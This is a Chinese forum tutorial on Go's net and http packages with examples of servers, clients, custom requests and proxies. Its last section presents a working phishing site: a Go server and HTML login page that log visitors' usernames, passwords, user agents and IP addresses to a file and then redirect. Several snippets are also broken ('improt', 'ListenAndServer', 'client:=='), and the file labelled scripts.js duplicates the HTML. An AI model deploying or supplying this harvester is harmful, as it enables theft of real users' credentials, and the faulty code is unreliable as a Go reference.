Go-Web之net&http包

梦见你的名字  金牌会员 | 2024-12-4 19:25:12 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 832|帖子 832|积分 2496

什么是net包和http包

在Go语言中，net 和 http 包是构建网络应用步伐时非常常用的两个包。它们分别提供了处置惩罚底层网络通讯和HTTP协议的功能。
net包

net包主要提供了底层网络通讯功能，支持TCP、UDP、Unix套字节等协议，常用于创建网络服务或网络通讯
其主要函数在TCP网络连接中已经学习过
http包

http包主要用于处置惩罚http请求和相应，提供了方便的函数来实现http客户端和服务端
主要函数


  • http.ListenAndServe:
    http.ListenAndServe是创建HTTP服务器的最常用函数，它监听指定地址并等待请求，它须要传入一个地址和一个http.Handler
  1. func ListenAndServe(addr string, handler Handler) error
  4. http.ListenAndServe(":8080", nil)
复制代码

  • http.HandleFunc:
    http.HandleFunc函数用于注册一个路由和请求处置惩罚函数，它会将请求分发到指定处置惩罚函数中
  1. func HandleFunc(pattern string, handler func(ResponseWriter, *Request))
  4. http.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Request) {
  5.     fmt.Fprintf(w, "Hello, World!")
  6. })
复制代码

  • http.NewRequest:
    http.NewRequest用于创建一个新的HTTP请求，通常用于HTTP客户端
  1. func NewRequest(method, url string, body io.Reader) (*Request, error)
  3. method:HTTP请求方法(GET等)
  4. url：请求的URL
  5. body：请求的正文内容(通常为nil或io.Reader)
  8. req, err := http.NewRequest("GET", "http://localhost:8080", nil)
  9. if err != nil {
  10.     log.Fatal(err)
  11. }
复制代码

  • http.Get
    http.Get是一个简单的HTTP客户端函数，发送一个GET请求并返回相应
  2. func Get(url string) (resp *Response, err error)
  6. resp, err := http.Get("http://localhost:8080")
  7. if err != nil {
  8.     log.Fatal(err)
  9. }
  10. defer resp.Body.Close()
  12. body, _ := ioutil.ReadAll(resp.Body)
  13. fmt.Println(string(body))
复制代码

  • http.ResponseWriter
    http.ResponseWriter是一个接口，用于构建http相应。
    Write([]byte) (n int,err error):向相应写入数据
    WriteHeader(statusCode int):设置HTTP相应状态码
  2. http.HandleFunc("/hello",func(w http.ResponseWriter,r *http.Request){
  3.         w.WriteHeader(http.StatusOK)
  4.         fmt.Fprintf(w,"Hello,World!")
  5. })
复制代码
例子

创建一个简单的HTTP服务器
  2. package main
  4. improt(
  5. "fmt"
  6. "net/http"
  7. )
  9. func handler(w http.ResponseWriter,r *http.Request){
  10. fmt.Fprintf(w,"Hello,%s!",r.URL.Path[1:])
  11. }
  13. func main(){
  14. http.HandleFunc("/",handler)
  16. fmt.Println("Server is running at http://127.0.0.1:8080")
  17. err:=http.ListenAndServer(":8080",nil)
  18. if err !=nil{
  19. fmt.Println("Error starting server:",err)
  20. }
  21. }
复制代码
HTTP客户端请求
  1. package main
  3. import(
  4. "fmt"
  5. "net/http"
  6. "io/ioutil"
  7. )
  9. func main(){
  10. resp,err:=http.Get("http://127.0.0.1:8080")
  11. if err !=nil{
  12. fmt.Println("Error:",err)
  13. return
  14. }
  15. defer resp.Body.Close()
  17. body,err:=ioutil.ReadAll(resp.Body)
  19. if err!=nil{
  20. fmt.Println("Error reading response body:",err)
  21. return
  22. }
  23. fmt.Println("Response:",string(body))
  25. }
复制代码
通过http.NewRequest创建自界说请求
  1. package main
  3. import (
  4.     "bytes"
  5.     "fmt"
  6.     "io/ioutil"
  7.     "log"
  8.     "net/http"
  9. )
  11. func main() {
  12.     // 创建请求数据
  13.     url := "https://httpbin.org/post"
  14.     method := "POST"
  15.     payload := []byte(`{"name": "John", "age": 30}`)
  17.     // 创建请求
  18.     req, err := http.NewRequest(method, url, bytes.NewBuffer(payload))
  19.     if err != nil {
  20.         log.Fatal(err)
  21.     }
  23.     // 设置请求头
  24.     req.Header.Set("Content-Type", "application/json")
  25.     req.Header.Set("Authorization", "Bearer your-token")
  27.     // 使用自定义的 HTTP 客户端发送请求
  28.     client := &http.Client{}
  29.     resp, err := client.Do(req)
  30.     if err != nil {
  31.         log.Fatal(err)
  32.     }
  33.     defer resp.Body.Close()
  35.     // 读取响应
  36.     body, err := ioutil.ReadAll(resp.Body)
  37.     if err != nil {
  38.         log.Fatal(err)
  39.     }
  41.     // 输出响应
  42.     fmt.Printf("Response: %s\n", body)
  43. }
复制代码
通过http.Client拓展请求功能
  1. //配置请求超时
  2. client:=&http.Client{
  3. Timeout: 10*time.Second
  4. }
  6. //配置代理
  7. proxyURL,err:=url.Parse("http://baidu.com")
  8. if err !=nil{
  9. log.Fatal(err)
  10. }
  11. client:==&http.Client{
  12. Transport: &http.Transport{
  13. Proxy: http.ProxyURL(proxyURL),
  14. },
  15. }
复制代码
用http包实现钓鱼网站

1.go
  1. package main  
  2.   
  3. import (  
  4.     "net/http"  
  5.     "os"    "time"  
  6.     "github.com/gorilla/mux"   
  7.     log "github.com/sirupsen/logrus"  
  8. )  
  9.   
  10. func login(w http.ResponseWriter, r *http.Request) {  
  11.     log.WithFields(log.Fields{  
  12.        "time":       time.Now().String(),  
  13.        "username":   r.FormValue("username"),  
  14.        "password":   r.FormValue("password"),  
  15.        "user-agent": r.UserAgent(),  
  16.        "ip_address": r.RemoteAddr,  
  17.     }).Info("login attempt")  
  18.     http.Redirect(w, r, "/", 302)  
  19. }  
  20.   
  21. func main() {  
  22.     fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)  
  23.     if err != nil {  
  24.        panic(err)  
  25.     }  
  26.     defer fh.Close()  
  27.     log.SetOutput(fh)  
  28.     r := mux.NewRouter()  
  29.     r.HandleFunc("/login", login).Methods("POST")  
  30.     r.PathPrefix("/").Handler(http.FileServer(http.Dir("./public")))  
  31.     log.Fatal(http.ListenAndServe(":8080", r))  
  32. }
复制代码
index.html
  1. <!DOCTYPE html>  
  2. <html lang="en">  
  3. <head>  
  4.     <meta charset="UTF-8">  
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  6.     <title>Login</title>  
  7.     <link rel="stylesheet" href="styles.css">  
  8. </head>  
  9. <body>  
  10. <div class="login-container">  
  11.     <h2>Login</h2>  
  12.     <form id="login-form" method="POST" action="/login">  
  13.         <label for="_user">Username</label>  
  14.         <input type="text" id="_user" name="username" required>  
  15.   
  16.         <label for="_pass">Password</label>  
  17.         <input type="password" id="_pass" name="password" required>  
  18.   
  19.         <button type="submit">Login</button>  
  20.     </form></div>  
  21.   
  22. <script src="scripts.js"></script>  
  23. </body>  
  24. </html>
复制代码
srcipts.js
  1. <!DOCTYPE html>  
  2. <html lang="en">  
  3. <head>  
  4.     <meta charset="UTF-8">  
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  6.     <title>Login</title>  
  7.     <link rel="stylesheet" href="styles.css">  
  8. </head>  
  9. <body>  
  10. <div class="login-container">  
  11.     <h2>Login</h2>  
  12.     <form id="login-form" method="POST" action="/login">  
  13.         <label for="_user">Username</label>  
  14.         <input type="text" id="_user" name="username" required>  
  15.   
  16.         <label for="_pass">Password</label>  
  17.         <input type="password" id="_pass" name="password" required>  
  18.   
  19.         <button type="submit">Login</button>  
  20.     </form></div>  
  21.   
  22. <script src="scripts.js"></script>  
  23. </body>  
  24. </html>
复制代码
http包和net包的关系



  • http包是建立在net包的基础上的，实际上http也会利用net来进行底层的网络通讯
  • 我们在http包中利用http.ListenAndServe来创建HTTP服务器，而这个方法实际上是通过net.Listen来实现的，底层的通讯还是依赖于net包的实现。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览
返回列表

快速回复

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

梦见你的名字

金牌会员
这个人很懒什么都没写!

楼主热帖

标签云

存储 挺好的 服务器
微信订阅号
微信服务号
微信客服
小程序
H5
关于我们 商务合作 网站地图
©Copyright 2022-2024 杭州祥升科技有限公司 版权所有 浙ICP备20004199号
快速回复 返回顶部 返回列表